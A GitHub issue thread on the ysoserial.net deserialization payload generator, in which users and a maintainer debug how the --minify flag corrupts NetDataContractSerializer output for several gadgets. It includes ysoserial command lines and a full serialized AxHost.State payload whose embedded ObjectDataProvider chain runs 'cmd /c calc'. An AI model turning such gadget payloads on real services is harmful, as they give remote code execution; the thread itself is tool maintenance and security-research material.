pwntester / ysoserial.net

Deserialization payload generator for a variety of .NET formatters
MIT License
3.24k stars 474 forks source link

Bug Report: Regex in DataContractSerializer_Marshal_2_MainType Function #158

Open NtAlexio2 opened 11 months ago

NtAlexio2 commented 11 months ago

The function DataContractSerializer_Marshal_2_MainType within the SerializersHelper.cs file, accessible here, contains a bug resulting in invalid data serialization for specific gadgets utilizing the NetDataContractSerializer formatter. The affected gadgets include:

  1. RolePrincipal
  2. AxHostState
  3. TextFormattingRunProperties

When these gadgets are utilized with the NetDataContractSerializer formatter, they produce invalid serialized objects.

Resolution: A fast workaround for this issue involves commenting out the NetDataContractSerializer_Marshal_2_MainType reference in each affected gadget and using the serialized object directly. For instance, in the first case, the line:

string payload = SerializersHelper.NetDataContractSerializer_Marshal_2_MainType(utfString);

with

string payload = utfString;

Thank you for maintaining this exceptional project. Your efforts are greatly appreciated!

irsdl commented 11 months ago

Using the utfString without cleaning it will produce wrong data especially when we are creating it from an irrelevant class. Could you please provide me with an example of wrong data being produced?

If run ysoserial.exe -g TextFormattingRunProperties -f NetDataContractSerializer -c calc -t it works straight away.

NtAlexio2 commented 11 months ago

Sure, For example executing:

ysoserial.exe --minify -g AxHostState -f NetDataContractSerializer -c calc -t

command, produces this broken output which not works (even with -t on localhost):

<AxHost.State  c:Type="System.WindoAxHost.States.Forms.AxHost+State" c:Assembly="System.WindoAxHost.States.Forms,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089"
    xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/"
    xmlns="http://schemas.datacontract.org/2004/07/System.WindoAxHost.States.Forms">
    <PropertyBagBinary c:Type="System.Byte[]" c:Assembly="0"
        xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRAxHost.StateOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIAxHost.StateMDYveGFtbC9AxHost.StatecmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjAxHost.StatevYTpQcm9jZXNzPjAxHost.StatevT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjAxHost.StatevT2JqZWN0RGF0YVByb3ZpZGVyPgs=
    </PropertyBagBinary>
</AxHost.State>

As you can see, the original System.Windows.Forms.AxHost+State part turned to invalid text System.WindoAxHost.States.Forms.AxHost+State. Because of internal regex in DataContractSerializer_Marshal_2_MainType function replaced all w characters with AxHost.State.

The original content stored in the utfString variable was:

<w c:FactoryType="d:AxHost.State" c:Type="System.Windows.Forms.AxHost+State" c:Assembly="System.Windows.Forms,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089"
    xmlns="http://schemas.datacontract.org/2004/07/ysoserial.Generators"
    xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/"
    xmlns:d="http://schemas.datacontract.org/2004/07/System.Windows.Forms">
    <PropertyBagBinary c:Type="System.Byte[]" c:Assembly="0"
        xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=
    </PropertyBagBinary>
</w>

I haven't confirmed, it's possible that the issue lies with the --minify flag. Because @irsdl your example seems to work correctly.

irsdl commented 11 months ago

Thanks for more information, it seems the --minify argument indeed breaks NetDataContractSerializer. Here is another broken one:

ysoserial.exe -g TextFormattingRunProperties -f NetDataContractSerializer -c calc -t --minify

This happens when we have no test unit! Whoever has implemented the --minify flag is at fault here (point at myself)! I will have a look soon to see how I can resolve this. For now, I recommend using generic XML minifiers instead of the one implemented by me in this project.